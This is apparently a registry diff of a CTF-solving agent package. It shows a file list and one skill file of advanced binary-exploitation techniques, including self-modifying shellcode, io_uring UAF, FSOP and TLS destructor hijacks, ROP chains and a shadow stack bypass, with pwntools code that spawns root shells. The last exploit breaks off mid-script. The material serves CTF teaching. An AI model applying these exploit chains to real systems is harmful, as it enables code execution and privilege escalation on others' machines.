ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,579 @@
1
+ # CTF Pwn - Advanced Exploit Techniques (Part 2)
2
+
3
+ ## Table of Contents
4
+ - [Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)](#bytecode-validator-bypass-via-self-modification-srdnlenctf-2026)
5
+ - [io_uring UAF with SQE Injection (ApoorvCTF 2026)](#io_uring-uaf-with-sqe-injection-apoorvctf-2026)
6
+ - [Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)](#integer-truncation-bypass-int32-to-int16-apoorvctf-2026)
7
+ - [GC Null-Reference Cascading Corruption (DiceCTF 2026)](#gc-null-reference-cascading-corruption-dicectf-2026)
8
+ - [Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)](#leakless-libc-via-multi-fgets-stdout-file-overwrite-midnightflag-2026)
9
+ - [Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)](#signedunsigned-char-underflow-to-heap-overflow--tls-destructor-hijack-midnightflag-2026)
10
+ - [XOR Cipher Keystream Brute-Force Write Primitive](#xor-cipher-keystream-brute-force-write-primitive)
11
+ - [Tcache Pointer Decryption for Heap Leak](#tcache-pointer-decryption-for-heap-leak)
12
+ - [Forging Chunk Size for Unsorted Bin Promotion (Libc Leak)](#forging-chunk-size-for-unsorted-bin-promotion-libc-leak)
13
+ - [FSOP Stdout Redirection for TLS Segment Leak](#fsop-stdout-redirection-for-tls-segment-leak)
14
+ - [TLS Destructor Overwrite for RCE via `__call_tls_dtors`](#tls-destructor-overwrite-for-rce-via-__call_tls_dtors)
15
+ - [Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)](#custom-shadow-stack-bypass-via-pointer-overflow-midnight-2026)
16
+ - [Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)](#signed-int-overflow-to-negative-oob-heap-write--xss-to-binary-pwn-bridge-midnight-2026)
17
+ - [Heap Primitive: Signed Int Overflow in Index Calculation](#heap-primitive-signed-int-overflow-in-index-calculation)
18
+ - [Full Exploitation Chain](#full-exploitation-chain)
19
+ - [XSS-to-Binary Pwn Bridge](#xss-to-binary-pwn-bridge)
20
+ - [atexit PTR_MANGLE Secret Recovery via Arbitrary Read (0x00CTF 2017)](#atexit-ptr_mangle-secret-recovery-via-arbitrary-read-0x00ctf-2017)
21
+
22
+ ---
23
+
24
+ ## Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)
25
+
26
+ **Pattern (Registered Stack):** Bytecode validator only checks initial bytes; runtime self-modification converts validated instructions into forbidden ones (e.g., `push fs` → `syscall`).
27
+
28
+ **Key technique:** `push fs` encodes as `0f a0`, and `syscall` as `0f 05`. The validator accepts `push fs`, but at runtime a preceding `push rbx` overwrites the `a0` byte with `05` on the stack, turning it into `syscall`.
29
+
30
+ **Exploit structure:**
31
+ 1. Use `pop` instructions to adjust rsp to a predictable memory bucket (~1/16 probability due to ASLR)
32
+ 2. Seed specific stack values for `pop sp` instruction (pivots to controlled location)
33
+ 3. Place `syscall` gadget disguised as `push fs` with self-modifying byte mutation
34
+ 4. Use `read(0, stage2_buf, size)` syscall to load stage 2
35
+ 5. Stage 2 contains interactive shell code
36
+
37
+ ```python
38
+ code = []
39
+ code += [0x59] * 30 # pop rcx x30 → rsp += 0xf0
40
+ code += [0x66, 0x5c] # pop sp → pivot to seeded value
41
+ code += [0x50] * 17 # push rax x17 (adjust stack)
42
+ code += [0x66, 0x50] # push ax
43
+ code += [0x66, 0x54, 0x66, 0x5b] # push sp; pop bx (rbx = count for read)
44
+ code += [0x50] * 66 # push rax x66
45
+ code += [0x66, 0x59] # pop cx
46
+ code += [0x53] # push rbx → overwrites next byte!
47
+ # Following bytes: 0x54 0x5e 0x53 0x5a 0x54 0x0f 0xa0
48
+ # After push rbx mutates 0xa0 → 0x05: becomes syscall
49
+ code += [0x54, 0x5e, 0x53, 0x5a, 0x54, 0x0f, 0xa0]
50
+ ```
51
+
52
+ **Key insight:** Bytecode validators that only check the instruction stream statically are vulnerable to self-modification at runtime. Look for instruction pairs where one byte difference changes the instruction's semantics (e.g., `0f a0` → `0f 05`). Use preceding instructions to write the mutation byte onto the stack/code region.
53
+
54
+ ---
55
+
56
+ ## io_uring UAF with SQE Injection (ApoorvCTF 2026)
57
+
58
+ **Pattern (Abyss):** Multi-threaded binary with custom slab allocator and io_uring worker thread. A FLUSH operation frees objects but preserves dangling pointers, creating UAF. Type confusion between freed/reallocated objects enables injection of io_uring SQE (Submission Queue Entry) structures.
59
+
60
+ **Exploitation chain:**
61
+ 1. Exhaust both slab allocators (fill all slots)
62
+ 2. Leak PIE base from STATUS response
63
+ 3. FLUSH frees objects (UAF — pointers remain valid)
64
+ 4. Allocate different type into freed slots (type confusion via exhausted secondary slab falling back to primary)
65
+ 5. Write crafted io_uring SQE into reused memory
66
+ 6. Worker thread submits SQE as-is → `IORING_OP_OPENAT` opens flag file
67
+
68
+ **io_uring SQE structure for file read:**
69
+ ```python
70
+ import struct
71
+
72
+ def craft_sqe(pie_base, flag_path_offset=0x6010):
73
+ sqe = bytearray(64)
74
+ struct.pack_into('B', sqe, 0, 0x12) # opcode = IORING_OP_OPENAT
75
+ struct.pack_into('i', sqe, 4, -100) # fd = AT_FDCWD
76
+ struct.pack_into('Q', sqe, 16, pie_base + flag_path_offset) # addr = "/flag.txt"
77
+ return bytes(sqe)
78
+ ```
79
+
80
+ **Key insight:** io_uring's kernel-side processing trusts SQE contents from userland shared memory. If an attacker controls the SQE buffer via UAF/type confusion, arbitrary kernel operations (file open, read, write) execute without syscall filtering. XOR-encoded slab freelists add complexity but don't prevent logical UAF when FLUSH clears objects without NULLing all references.
81
+
82
+ **Detection:** Binary uses `io_uring_setup`/`io_uring_enter` syscalls, custom allocator with FLUSH/cleanup operations, multiple threads sharing memory.
83
+
84
+ ---
85
+
86
+ ## Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)
87
+
88
+ **Pattern (Archive):** Input validated as int32 (>= 0), then cast to int16_t for bounds check (<= 3). Values 65534-65535 pass the int32 check but become -2/-1 as int16_t, enabling OOB array access.
89
+
90
+ ```python
91
+ # Value 65534: int32=65534 (passes >= 0), int16=-2 (passes <= 3)
92
+ # ring_array[-2] reads 16 bytes before array → leaks GOT/PIE pointers
93
+ payload = str(65534).encode() # Sends as positive int, server casts to int16
94
+ ```
95
+
96
+ **Dynamic fd capture via `xchg rdi, rax`:**
97
+
98
+ In Docker/socat environments, `open()` may return fd 4+ instead of 3 (extra inherited fds). Hardcoding fd=3 in ORW ROP chains fails.
99
+
100
+ ```python
101
+ # Standard ORW fails in Docker:
102
+ # open("/flag.txt") → fd=5 (not 3!)
103
+ # read(3, buf, size) → reads wrong fd
104
+
105
+ # Fix: xchg rdi, rax captures open()'s return value dynamically
106
+ rop = ROP(libc)
107
+ rop.raw(pop_rdi)
108
+ rop.raw(flag_str_addr)
109
+ rop.raw(pop_rsi)
110
+ rop.raw(0) # O_RDONLY
111
+ rop.raw(libc.sym.open)
112
+ rop.raw(libc_base + 0x181fe1) # xchg rdi, rax; cld; ret
113
+ # rdi now holds actual fd from open()
114
+ rop.raw(pop_rsi)
115
+ rop.raw(buf_addr)
116
+ rop.raw(pop_rdx_xor_eax) # pop rdx; xor eax, eax; ret (dual-purpose!)
117
+ rop.raw(0x100) # rdx = size, eax = 0 (SYS_read)
118
+ rop.raw(libc.sym.read) # read(actual_fd, buf, 0x100)
119
+ ```
120
+
121
+ **Key insight:** `xchg rdi, rax; cld; ret` is the critical gadget for containerized ORW — it passes `open()`'s actual return value to `read()` without hardcoding the fd number. The `pop rdx; xor eax, eax; ret` gadget serves double duty: sets rdx for read size AND clears eax to 0 (SYS_read syscall number).
122
+
123
+ ---
124
+
125
+ ## GC Null-Reference Cascading Corruption (DiceCTF 2026)
126
+
127
+ **Pattern (Garden):** Custom stack-based VM with mark-compact GC. GC's `mark_reachable()` follows null references (ref=0) to address 0 of the managed heap (zeroed reserved area), creating a fake 4-byte object. During compaction, `memmove` copies this fake object first, corrupting adjacent real object headers.
128
+
129
+ **Exploit chain:**
130
+ 1. **Cascading memmove** — Set up sacrificial array SAC with `entries[0]=0xFFFF`, large array BIG (196 entries) with `entries[195]=0x00040005`, off-heap object OH
131
+ - Null-ref GC corrupts SAC's header to `{0,0}` (length=0)
132
+ - SAC's entry `0xFFFF` cascades into BIG's header → BIG.length = 0xFFFF (OOB!)
133
+ - BIG's entry `0x00040005` cascades into OH's header → OH stays valid
134
+
135
+ 2. **OOB expansion** — Use BIG's OOB write to set OH.obj_size = 0x10000, giving 256KB OOB access on glibc heap
136
+
137
+ 3. **Libc leak** — Create 70+ extra objects so GC's `ctx.objs` allocation exceeds 0x410 bytes → freed to unsorted bin → `main_arena` pointers readable via OH
138
+
139
+ 4. **House of Apple 2 FSOP** — Build fake FILE in OH's data buffer:
140
+ ```python
141
+ # Fake FILE structure
142
+ fake_file = flat({
143
+ 0x00: b'$0\x00\x00', # _flags — system("$0") spawns shell
144
+ 0x20: p64(0), # _IO_write_base = 0
145
+ 0x28: p64(1), # _IO_write_ptr = 1 (> write_base)
146
+ 0x88: p64(heap_lock_addr), # _lock (valid writable addr)
147
+ 0xa0: p64(wide_data_addr), # _wide_data
148
+ 0xc0: p64(1), # _mode = 1 (triggers wide path)
149
+ 0xd8: p64(io_wfile_jumps), # vtable = _IO_wfile_jumps
150
+ })
151
+ # Fake _IO_wide_data
152
+ fake_wide = flat({
153
+ 0x18: p64(0), # _IO_write_base = 0
154
+ 0x30: p64(0), # _IO_buf_base = 0
155
+ 0xe0: p64(fake_wide_vtable_addr), # _wide_vtable
156
+ })
157
+ # Fake wide vtable with __doallocate = system
158
+ fake_wide_vtable = flat({
159
+ 0x68: p64(libc.sym.system),
160
+ })
161
+ # Overwrite _IO_list_all to point to fake FILE
162
+ ```
163
+
164
+ 5. **Trigger** — Program exit → `_IO_flush_all` → fake FILE → `_IO_wfile_overflow` → `_IO_wdoallocbuf` → `system("$0")` → shell
165
+
166
+ **`system("$0")` trick:** `$0` expands to the shell name when run via `system()`. Using `"$0\x00\x00"` as `_flags` means `system(fp)` calls `system("$0")` which spawns a shell.
167
+
168
+ **Key insight:** Mark-compact GC that follows null references creates controllable corruption. The cascade effect — where one corrupted header causes memmove to misalign subsequent objects — amplifies a small initial corruption into full OOB access. Combined with FSOP, this achieves code execution from a VM-level bug.
169
+
170
+ **STORE array pattern for VM stack management:** When VM only has DUP/SWAP/DROP/DUP_X1, allocate an array object to hold references (via SET_ELEM_OBJ/GET_ELEM_OBJ), enabling random access to values that would otherwise require complex stack juggling.
171
+
172
+ ---
173
+
174
+ ## Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)
175
+
176
+ **Pattern (Eyeless):** No direct libc leak available (no format string, no UAF, no unsorted bin). Construct a fake `stdout` FILE structure on BSS via ROP, then call `fflush(stdout)` to leak a GOT entry containing a libc address.
177
+
178
+ **The null byte problem:** `fgets` appends `\x00` after reading. Libc pointers are 6 bytes + 2 null MSBs (`0x00007f...`). Writing an 8-byte pointer via `fgets` corrupts the byte after it with `\x00`. Directly writing adjacent FILE struct fields is impossible without corruption.
179
+
180
+ **Multi-fgets solution:** Chain multiple `fgets(addr, 7, stdin)` calls, each writing 7 bytes. The null byte from each `fgets` lands on the next field's null MSB (harmless for libc pointers):
181
+
182
+ ```python
183
+ # Build ROP chain that calls fgets multiple times to construct stdout on BSS
184
+ # Each call writes 7 bytes; null byte falls on canonical address's 0x00 MSB
185
+ FAKE_STDOUT = BSS + 0x800
186
+
187
+ # Write _flags field
188
+ rop += fgets_call(FAKE_STDOUT, 7) # write 0xfbad2087 + padding
189
+ # Write _IO_write_base = GOT address (the value to leak)
190
+ rop += fgets_call(FAKE_STDOUT + 0x20, 7) # write &fflush@GOT
191
+ # Write _IO_write_end = GOT address + 8 (controls how many bytes leak)
192
+ rop += fgets_call(FAKE_STDOUT + 0x28, 7) # write &fflush@GOT + 8
193
+ # ... (zero-fill remaining fields via earlier memset or BSS zeroes)
194
+
195
+ # Overwrite stdout pointer and flush
196
+ rop += flat(POP_RDI, FAKE_STDOUT)
197
+ rop += flat(elf.plt['fflush']) # fflush(fake_stdout) → writes GOT content
198
+ ```
199
+
200
+ **Receiving the leak:**
201
+ ```python
202
+ # fflush writes 8 bytes from _IO_write_base to _IO_write_end
203
+ leak = u64(p.recv(8))
204
+ libc_base = leak - libc.sym.fflush
205
+ ```
206
+
207
+ **Key insight:** `fgets` always appends `\x00`, but libc addresses already end with `\x00\x00` in their two MSBs. Writing in 7-byte chunks means the appended null overwrites a byte that is already null. This enables constructing complex structures (FILE, vtables) in BSS without a prior libc leak.
208
+
209
+ **When to use:** Binary has `fgets` or similar input function in PLT, a writable BSS/data region, but no existing leak primitive. Requires ROP control (stack pivot) to chain the multiple `fgets` calls.
210
+
211
+ ---
212
+
213
+ ## Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)
214
+
215
+ **Pattern (heapn⊕te-ic):** Message structure stores size as `signed char` but encryption/display casts to `unsigned char`. Passing `size = -112` stores as `char(-112)`, but `(unsigned char)(-112) = 144`. With a 127-byte buffer, this gives a 17-byte heap overflow.
216
+
217
+ **Key insight:** The signed/unsigned char mismatch is a single-byte integer type — unlike int32→int16 truncation, this exploits the implicit promotion from `char` to `unsigned char` in C, common when size fields use `char` instead of `size_t`.
218
+
219
+ ### XOR Cipher Keystream Brute-Force Write Primitive
220
+
221
+ The challenge uses a deterministic XOR cipher with djb2 hash chain as keystream:
222
+
223
+ ```python
224
+ def hash_string(s):
225
+ h = 5381
226
+ for c in s:
227
+ h = (((h << 5) + h) + c) & 0xFFFFFFFFFFFFFFFF
228
+ return h
229
+
230
+ def get_keystream_byte(seed, x):
231
+ h = hash_string(str(seed).encode())
232
+ for _ in range(x // 8):
233
+ h = hash_string(str(h).encode())
234
+ return p64(h)[x % 8]
235
+
236
+ def brute_seed(x, target_byte):
237
+ for seed in range(0xFFFFFFFF):
238
+ if get_keystream_byte(seed, x) == target_byte:
239
+ return seed
240
+ ```
241
+
242
+ **Key insight:** Deterministic keystream from a brute-forceable seed space enables targeted byte writes via XOR. Each byte position requires finding a seed that produces the desired keystream byte, then XORing with plaintext to write exactly that byte.
243
+
244
+ **Byte-by-byte write primitive:**
245
+ ```python
246
+ def write_byte(pos, target_byte, idx, leak=False):
247
+ add(underflow(pos), b"A", brute_seed(pos, target_byte))
248
+ if leak:
249
+ data = view(idx)
250
+ delete(idx)
251
+ add(underflow(pos+1), b"A", brute_seed(pos, target_byte))
252
+ delete(idx)
253
+ return data
254
+
255
+ def overflow_write(offset, payload, idx):
256
+ for i, byte in enumerate(payload):
257
+ write_byte(offset + i, byte, idx)
258
+ ```
259
+
260
+ ### Tcache Pointer Decryption for Heap Leak
261
+
262
+ Allocate two chunks, free in LIFO order. The mangled tcache `fd` pointer (glibc 2.32+ safe-linking) stored in the freed chunk can be decoded:
263
+
264
+ ```python
265
+ # fd is mangled: fd = ptr ^ (chunk_addr >> 12)
266
+ # When first tcache entry points to NULL (second free):
267
+ # fd = 0 ^ (chunk_addr >> 12) = chunk_addr >> 12
268
+ # Shift left to recover: heap_addr = fd_pointer << 12
269
+ heap_leak = u64(leaked_fd) << 12
270
+ ```
271
+
272
+ **Key insight:** The first entry in a tcache bin has `fd = NULL ^ (addr >> 12)`, so `fd << 12` directly yields the heap base region. No brute-force needed.
273
+
274
+ ### Forging Chunk Size for Unsorted Bin Promotion (Libc Leak)
275
+
276
+ To get a libc leak from tcache-sized chunks, forge the next chunk's size header to ≥0x420 (minimum for unsorted bin):
277
+
278
+ ```python
279
+ # Overwrite adjacent chunk's size field to 0x431
280
+ overflow_write(size_offset, p64(0x431), chunk_idx)
281
+ # Ensure fake next_chunk passes: next_chunk.size & PREV_INUSE set
282
+ # next_chunk + 0x431 must point to a region with valid size field
283
+ # Free the forged chunk → pushed to unsorted bin
284
+ # fd/bk now point to main_arena+96
285
+ libc_base = u64(leaked_fd) - 0x203b20 # offset to main_arena+96
286
+ ```
287
+
288
+ **Key insight:** Any chunk can be promoted to unsorted bin by forging its size ≥0x420. The consistency check requires that `chunk_at_offset(p, size)->size` has `PREV_INUSE` set and is reasonable. Pre-place valid metadata at that boundary.
289
+
290
+ ### FSOP Stdout Redirection for TLS Segment Leak
291
+
292
+ Tcache poison toward `_IO_2_1_stdout_ - 0x20` to craft a fake FILE structure that leaks the TLS segment address:
293
+
294
+ ```python
295
+ # Poison tcache to allocate at _IO_2_1_stdout_ - 0x20
296
+ # Craft fake FILE with _IO_write_base pointing to TLS area
297
+ # When stdout flushes, it writes from _IO_write_base to _IO_write_ptr
298
+ # Scan output for address ending in 0x...740 (TLS alignment pattern)
299
+ # TLS mangle cookie is at tls_addr + 0x30
300
+ ```
301
+
302
+ **Key insight:** Redirecting `_IO_write_base` of stdout leaks arbitrary memory on the next write. TLS addresses have recognizable alignment patterns — scan the leaked data for them.
303
+
304
+ ### TLS Destructor Overwrite for RCE via `__call_tls_dtors`
305
+
306
+ The TLS destructor list (`__tls_dtor_list`) contains entries with function pointers mangled using the pointer guard (stored in TLS). Overwriting this list with crafted entries achieves RCE:
307
+
308
+ ```python
309
+ def rol(val, bits, width=64):
310
+ return ((val << bits) | (val >> (width - bits))) & ((1 << width) - 1)
311
+
312
+ # Mangle function pointers with leaked pointer guard
313
+ pointer_guard = tls_leak # from stdout FSOP leak
314
+ encoded_setuid = rol(libc.sym.setuid ^ pointer_guard, 0x11)
315
+ encoded_system = rol(libc.sym.system ^ pointer_guard, 0x11)
316
+
317
+ # Craft TLS destructor list node
318
+ # struct dtor_list { dtor_func func; void *obj; struct dtor_list *next; }
319
+ node1 = p64(0) * 2 # padding
320
+ node1 += p64(0x111) # fake chunk size
321
+ node1 += p64(encoded_setuid) # func = setuid(0)
322
+ node1 += p64(0) # obj = 0 (root)
323
+ node1 += p64(heap_addr + node2_offset) * 2 # next → node2
324
+
325
+ node2 = p64(encoded_system) # func = system("/bin/sh")
326
+ node2 += p64(binsh_addr) # obj = "/bin/sh"
327
+ node2 += p64(0) # next = NULL (end of list)
328
+ ```
329
+
330
+ **Full chain:** integer underflow → heap overflow → tcache leak → unsorted bin libc leak → FSOP stdout TLS leak → pointer guard recovery → `__call_tls_dtors` hijack → `setuid(0)` + `system("/bin/sh")`.
331
+
332
+ **Key insight:** `__call_tls_dtors` iterates a singly-linked list calling `PTR_DEMANGLE(func)(obj)` for each entry. Demangling is `ror(val, 0x11) ^ pointer_guard`. To encode: `rol(target ^ pointer_guard, 0x11)`. The pointer guard lives in TLS at a fixed offset — once leaked via FSOP stdout, the entire list is forgeable.
333
+
334
+ **When to use:** Modern glibc (2.34+) where `__free_hook`/`__malloc_hook` are removed and FSOP via `_IO_wfile_jumps` (House of Apple 2) is blocked or constrained. TLS destructor overwrite is an alternative exit-time code execution path.
335
+
336
+ ---
337
+
338
+ ## Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)
339
+
340
+ **Pattern (Revenant):** Binary implements a userland shadow stack in `.bss` — each function call pushes the return address to both the hardware stack and a `shadow_stack[]` array, validating them on return. The `shadow_stack_ptr` index increments on every call but is **never bounds-checked**, allowing it to overflow past the array into adjacent `.bss` variables.
341
+
342
+ **Binary protections:**
343
+ - Full RELRO, NX enabled, **PIE disabled** (fixed addresses)
344
+ - SHSTK and IBT enabled (Intel CET — hardware shadow stack)
345
+ - No stack canary
346
+
347
+ **`.bss` memory layout:**
348
+ ```text
349
+ 0x406000: shadow_stack[512] (512 × 8 = 4096 bytes)
350
+ 0x407000: username[16] (user-controlled via input)
351
+ 0x407040: shadow_stack_ptr (index into shadow_stack)
352
+ 0x407048: shadow_stack_base
353
+ ```
354
+
355
+ **Exploitation strategy:**
356
+ 1. Trigger controlled recursion (e.g., `do_reset()` → `play()` loop) to increment `shadow_stack_ptr` exactly 512 times
357
+ 2. After 512 iterations, `shadow_stack_ptr` points to `username` (user-controlled buffer)
358
+ 3. Write the `win()` address into `username` via normal input
359
+ 4. Overflow the stack buffer to overwrite the hardware return address with `win()`
360
+ 5. On return, both shadow stack and hardware stack contain `win()` — validation passes
361
+
362
+ **Exploit code (pwntools):**
363
+ ```python
364
+ from pwn import *
365
+
366
+ exe = ELF('./revenant')
367
+ io = process('./revenant')
368
+
369
+ # Calculate iterations needed to overflow shadow_stack_ptr to username
370
+ shadow_stack_addr = exe.symbols["shadow_stack"]
371
+ username_addr = exe.symbols["username"]
372
+ iterations = (username_addr - shadow_stack_addr) // 8 # 512
373
+
374
+ # Step 1: Write win() address into username buffer
375
+ name = fit(exe.symbols["win"])
376
+
377
+ # Step 2: Recurse 512 times to advance shadow_stack_ptr to username
378
+ for i in range(iterations):
379
+ io.sendlineafter(b"Survivor name:\n", name)
380
+ io.sendlineafter(b"[0] Flee", b"4") # Trigger do_reset() -> play()
381
+
382
+ # Step 3: Overflow stack buffer with win() address
383
+ padding = 56 # offset to return address (32-byte buf + 24 bytes)
384
+ payload = fit({padding: exe.symbols["win"]})
385
